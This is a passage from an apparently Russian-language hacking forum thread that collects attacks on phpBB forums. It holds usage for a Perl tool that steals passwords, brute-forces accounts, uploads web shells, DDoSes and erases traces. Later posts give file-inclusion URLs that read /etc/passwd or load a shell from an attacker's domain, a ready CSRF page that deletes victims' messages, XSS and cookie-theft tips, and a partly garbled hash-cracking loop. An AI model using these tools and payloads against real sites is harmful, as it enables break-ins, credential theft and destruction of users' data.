    -m1 - Проверка на баги модов форума.
    -С - проверка форума на валидность. По умолчанию включена(-С1).
    -S - залитие шелла. По умолчанию включена (-S1).
    -c - очистка сессии. Скрипт зачищает все следы пребывания на этом форуме включая зачистку базы данных по последниим действиям.
    Удаляются сессии и промежуточные выполнения php кода.
    -a - При доступе к админке создает нового админа. Ник генерирует сам, пароль находится в опции (-N). Пока не работает
    -N - Новый пароль. Ставится при создании нового админа(-a1). Пока не работает
    -t - Debug скрипта. Подробно выводятся все действия выполняемые скриптом. Нужен для отладки. По умолчанию включено (-t1).
    -W - Включение показа всех серверных путей форума. По умолчанию выключено (-W0) и скрипт показывает тока один путь.
    -V - Задание версии скрипта. Если параметр опущен, то скрипт сам определяет версию форума. # Недоделано, привязка к версиям.
    -g - Режим работы скрипта (-v0).
    1 - Дефолтный, показывает все пароли юзеров на всех багах.
    2 - Покаывает все хеши юзеров только на одной баге, другие баги показывают, но пароли не вытаскивает.
    3 - В админке заливает шеллы всеми способами.
    По умолчанию включен (-g1).
    -T - temeout для сокетов. По умолчанию 30 (-T30).
    -U - User Agent для сокетов. По умолчанию Opera/9.01 (Windows NT 5.1; U; ru).
    -P - Прокси. В ввиде -P127.0.0.1:81
    -e - Кол-во юзеров на форуме. Если опция не задана, то определяет сам.
    -i - Задание юзеров посредством указания ихнего id.
    Если параметр не задан, то ищет админов на форуме.
    Если параметр задан как (-i2,3,4) то эксплуатирует юзеров с id=2,3,4 (по очереди).
    Если параметр задан как (-ir) то берет первого юзера (админ или id=2).
    Если параметр не задан, и определить не удается админов, тогда ставится значение 1(-i2).

    Скрипт обрабатывает все поступающие данные, т.е. не будет что если какую то переменную неправильно определил и идет с ней дальше работать.
    Скрипт просто выдаст на экран уведомление, что переменная неверная и перескочит этот пункт.
    В скрипте встроено определение Ника по id. Если не удается через профайл, то определяется через список активных юзеров или через главную страницу форума.

    Версия определяется двумя способами (через надпись внизу или по файлам). #На индексе не доделано.

    Скрипт при заходе в админку проверит phpinfo и если найдет то выдаст вам информацию о сейф моде, операционной системе и о серверном пути.

    Любой юзер в скрипте проходит проверку статуса, и в зависимости от его статуса, скрипт может разделять одновременно всех юзеров.

    Скрипт при работе с админкой поддерживает обход basic authorization вводя туда заданные внешние -l и -p или внутрении $admin_user и $admin_pass.

    Скрипт в зависимости от версии форума, сам реагирует на способы обращения с форумом, на баги и на работе с базой данных.

    Для залитии шеллов в зависимости от версии форума используется около 5 способов залития.

    Скрипт является серьезным подходом по выявлению уязвимостей форума. На сегодняшний день, он является лучшим сканером по безопасности форума phpbb.

    Примеры использования скрипта:
    phpbb.pl -v1 -uhttp://site.ru/phpbb/ -b1 -m1 - Сканер багов, легкий брут, проверка на баги модов форума.
    phpbb.pl -v2 -uhttp://site.ru/phpbb/ -e125 - Сграбить инфу о первых 125 пользователях, если кол-во не заданы, скрипт возьмет всех пользователей форума.
    phpbb.pl -v3 -uhttp://site.ru/phpbb/ -ladmin -fpass.txt - Брутит аккаунт юзера admin по словарному файлу pass.txt
    phpbb.pl -v3 -uhttp://site.ru/phpbb/ -padmin -fuser.txt - Подбирает аккаунты из файла на один заданый пароль.
    phpbb.pl -v3 -uhttp://site.ru/phpbb/ -fuser.txt:pass.txt - Перекрестный брут. На каждый логин из файла user.txt, брутится пассы из файла pass.txt
    phpbb.pl -v3 -uhttp://site.ru/phpbb/ -faccount.txt - Чекает файл аакаунтов вида: http://site.ru/forum/:user:pass
    phpbb.pl -v4 -uhttp://site.ru/phpbb/ - Легкий ддос форума, без многопоточности.
    phpbb.pl -v5 -uhttp://site.ru/phpbb/ - Автозабаниватель. Если не указан юзер, то скрипт забанит всех юзеров. Работает тока с 2.0.19 версии.
     

    Attached Files:

    #8 k1b0rg, 4 Oct 2007
    Last edited: 18 Mar 2010
    18 people like this.
  9. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Инклуды в модах/модулях/компонентах

    Инклуды в модах/модулях/компонентах.

    Обновлено 12.01.2008

    Софтинка для автоматического чека инклудов прилагается в атаче.

    Добавлен скрипт удаления повторов и сортировки по алфавиту.

     

    Attached Files:

    #9 Elekt, 5 Oct 2007
    Last edited: 12 Jan 2008
  10. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Дополнительное исследование


    - алгоритм хеширования
    поможет вам восстановить исходный пароль по хешу

    md5(password)

    - время сессии
    позволит вам оценить валидность сессии при XSS-атаке

    [в разработке]

    - содержание хеша пароля в куках
    позволит вам получить пароль при успешной XSS-атаке

    до phpBB 2.0.18 включительно присутствует содержание хеша пароля в куках

    - вход в админку по куке
    позволит вам войти в панель администрирования с кукой без знания исходного пароля

    до phpBB 2.0.18 включительно возможен вход в админку по куке

    - имена таблиц\столбцов sql
    позволит вам успешно провести SQL-inj

    phpbb_
    phpbb2_

    - IE security cookie [ setcookie() http_only ]
    позволит вам правильно выбрать метод XSS атаки(document.cookie, document.location, TRACE)

    [в разработке]

    - x-forward-for, client-ip, referer
    позволит вам анонимно оставлять сообщения на форуме, проводить XSS-атаку, проводить SQL-inj

    Неуязвимы версии выше phpBB 2.0.8

    - CSRF(HTTP Response Splitting, Request Forgery)
    позволит вам выполнить специфическую XSS-атаку

    В phpBB <= 2.0.21 недавно найдена подобная уязвимость - см выше.
     
    #11 Elekt, 5 Oct 2007
    Last edited: 5 Oct 2007
  11. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    #12 1ten0.0net1, 6 Oct 2007
    Last edited by a moderator: 12 Jan 2008
    2 people like this.
  12. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    364
    Likes Received:
    271
    Reputations:
    29
    Как отличить последнюю версию второй ветки (2.0.22) от остальных?

    2.0.21 или 2.0.22?

    Как отличить последнюю версию второй ветки (2.0.22) от остальных? (пост восстановлен)

    Очень просто. До последней версии был баг (не инъект!) в лимите во всех скритах, где присутствовал постраничный вывод на экран.
    Например, в скрипте viewforum.php, который и рассмотрим.

    Определить можно, добавив параметр start=-1 в адресной строке, например, к viewforum.php

    То есть, если есть ccылка вида:
    http://forum/viewforum.php?f=32

    Набираем:
    http://forum/viewforum.php?f=32&start=-1

    Если вываливается с ошибкой - версия <=2.0.21
    Если нет - 2.0.22

    Code:
    [CENTER]Could not obtain topic information
    
    DEBUG MODE
    
    SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 20' at line 12
    
    SELECT t.*, u.username, u.user_id, u2.username as user2, u2.user_id as id2, p.post_username, p2.post_username AS post_username2, p2.post_time FROM topics t, users u, posts p, posts p2, users u2 WHERE t.forum_id = 50 AND t.topic_poster = u.user_id AND p.post_id = t.topic_first_post_id AND p2.post_id = t.topic_last_post_id AND u2.user_id = p2.poster_id AND t.topic_type <> 2 AND t.topic_type <> 3 ORDER BY t.topic_type DESC, t.topic_last_post_id DESC LIMIT -1, 20
    
    Line : 420
    File : /xxx/phpbb/viewforum.php[/CENTER]
    
    P.S. Все файлы, где есть параметр start можно найти в апдейтере 2.0.22
    P.S.S На forums.overclockers.ru стоит не 2.0.22 (ну или сильно криворукий обновляльщик) ;)
     
    #13 Basurman, 27 Nov 2007
    Last edited by a moderator: 3 Sep 2008
    5 people like this.
  13. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,035
    Reputations:
    1,065
    Full path disclosure:

    profile.php?mode=viewprofile&u=2&ranksrow=abcdabcd
    faq.php?mode=bbcode&faq=abcdabcd
    viewtopic.php?p=6&highlight=\abcdabcd
    admin/admin_disallow.php?setmodules=1
    db/oracle.php
    viewtopic.php?t=395&postorder[]=kala
    memberlist.php?mode[]=cx
    memberlist.php?start=-1
    privmsg.php?folder[]=
    profile.php?mode[]=
    posting.php?mode[]=
    groupcp.php?mode[]=
    modcp.php?mode[]=
    index.php?category_rows=aaaa
    profile.php?mode=viewprofile&u=2&ranksrow=aaaa
    faq.php?faq=aaaa
     
    _________________________
    3 people like this.
  14. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    390
    Likes Received:
    836
    Reputations:
    69
    PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln.

    PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln

    Code:
    http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd
    http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=[ LFI ]

    PNphpBB2 <= 1.2i viewforum.php Remote SQL Injection Exploit


    PNphpBB2 <= 1.2 (index.php c) Remote SQL Injection Exploit


    PNphpBB2 <= 1.2g (phpbb_root_path) Remote File Include Vulnerability

    Code:
    http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?

    (c)
     
    #15 Solide Snake, 12 Jan 2008
    Last edited by a moderator: 13 Jan 2008
    2 people like this.
  15. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    638
    Likes Received:
    520
    Reputations:
    19
    phpBB 2.0.22 Remote PM Delete XSRF Vulnerability

    XSRF Vulnerability

    Vulnerable: phpBB 2.0.22

    Exploit:

    HTML:
    <html>
    <head>
    </head>
    <body onLoad=javascript:document.xsrf.submit()>
    
    <form action="http://[site]/phpBB2/privmsg.php?folder=inbox" method="post" 
    name="xsrf">
    <input type="hidden" name="mode" value="" />
    <input type="hidden" name="deleteall" value="true" />
    <input type="hidden" name="confirm" value="Yes">
    
    </body>
    </html>
    
    Атакующий посылает жертве в ПМ ссылку на страницу, содержащую вышеописанный код, и все личные сообщения жертвы будут удалены.
     
    #16 iddqd, 25 Jan 2008
    Last edited: 25 Jan 2008
    1 person likes this.
  16. InsidePro

    InsidePro Elder - Старейшина

    Joined:
    20 Apr 2007
    Messages:
    70
    Likes Received:
    90
    Reputations:
    41
    Хэши из phpBB3

    Есть предложение к спецам по PHP - проанализировать исходники phpBB3 (функции хэширования опубликованы здесь:
    http://forum.insidepro.com/viewtopic.php?t=1685) и выяснить точный алгоритм хэширования паролей.

    А я бы новый модуль написал к PPro. ;)
     
    1 person likes this.
  17. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    364
    Likes Received:
    271
    Reputations:
    29
    Если в 2-х словах (вкратце не получилось):

    имеем хеш: $H$95MMFvTU4Lm1sASItv4J5HWXk18HW70 (пароль 123456)
    соль от него 5MMFvTU4 (8 символов, начиная с 5-го)

    Делаем такой цикл: (убрать 2 пробела после ..klmn)
    $salt='5MMFvTU4'; $password='123456';
    Code:
    $settings='$H$95MMFvTU4Lm1sASItv4J5HWXk18HW70';
    
    $itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
    $hash = md5($salt . $password, true);
    do
    {
    	$hash = md5($hash . $password, true);
    }
    while (--(1 << strpos($itoa64, $setting[3]) ));
    Цикл возвращает бинарную строку из 16 символов, сделав много раз сначала функцию md5($salt . $password); затем md5( "предыдущий бинарный хеш" . $password);

    Ну, и, наконец, чтобы получить из этого бинарного хеша строку Lm1sASItv4J5HWXk18HW70 (первые 12 символов не в счет, их отбрасываем), прогоняем его через следующую функцию ($input это полученный ранее $hash):
    Code:
    function _hash_encode64($input, &$itoa64)
    {
    	$output = '';
    	$i = 0;
    
    	do
    	{
    		$value = ord($input[$i++]);
    		$output .= $itoa64[$value & 0x3f];
    
    		if ($i < 16)
    		{
    			$value |= ord($input[$i]) << 8;
    		}
    
    		$output .= $itoa64[($value >> 6) & 0x3f];
    
    		if ($i++ >= 16)
    		{
    			break;
    		}
    
    		if ($i < 16)
    		{
    			$value |= ord($input[$i]) << 16;
    		}
    
    		$output .= $itoa64[($value >> 12) & 0x3f];
    		
    		if ($i++ >= 16)
    		{
    			break;
    		}
    
    		$output .= $itoa64[($value >> 18) & 0x3f];
    	}
    	while ($i < 16);
    
    	return $output;
    }
    
    Склеиваем строки в одну ($H$95MMFvTU4 + Lm1sASItv4J5HWXk18HW70). проверяем, радуемся. ВСЕ ;)


    Примеры:

    $H$95MMFvTU4Lm1sASItv4J5HWXk18HW70:123456
    $H$9ZKl5LLDygA/c8AGXcpWk7bRnHQQ.U0:testing
    $H$9Uh5EWFcQEmJPaWy/7wsyzMPN4.jS3/:123321

    где первые 4 символа $H$9 сигнатура хеша по умолчанию.

    $H$9 присутствует всегда, хотя его и можно и менять прямо в коде (я имею ввиду последоватльность $H$)...

    Я бы сделал префикс другой ) чтобы никто не догадался
    ______________________________________
    P.S. Этот алгоритм применяется начиная с версии phpBB3 RC5. До этого везде был md5
     
    #18 Basurman, 19 Feb 2008
    Last edited by a moderator: 9 May 2008
    5 people like this.
  18. InsidePro

    InsidePro Elder - Старейшина

    Joined:
    20 Apr 2007
    Messages:
    70
    Likes Received:
    90
    Reputations:
    41
    Basurman, спасибо за разъяснения!

    Модуль для этих хэшей я написал и он уже доступен в архиве с PPro на моем сайте, файл MD5(phpBB3).dll, 15 кБ.

    P.S. Т.к. сигнатура этих хэшей ("$H$") не участвует в хэшировании (в отличие от MD5(Unix), к примеру), то я на всякий случай сделал так, что модуль поддерживает любую сигнатуру.

    P.P.S. Еще раз спасибо за помощь!
     
    5 people like this.
  19. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    638
    Likes Received:
    520
    Reputations:
    19
    Удаленный инклуд в модуле 123 Flash Chat Module for phpBB

    RFI

    Уязвимые скрипты:
    PHP:
    path/123flashchat.php      include($phpbb_root_path 'extension.inc'); 
    path/123flashchat.php      include($phpbb_root_path 'common.'.$phpEx); 
    path/phpbb_login_chat.php  include($phpbb_root_path 'extension.inc'); 
    path/phpbb_login_chat.php  include($phpbb_root_path 'common.'.$phpEx);
    Exploit:
    Code:
    www.site.com/path/123flashchat.php?phpbb_root_path=[shell] 
    www.site.com/path/phpbb_login_chat.php?phpbb_root_path=[shell]
    
     
    1 person likes this.
Loading...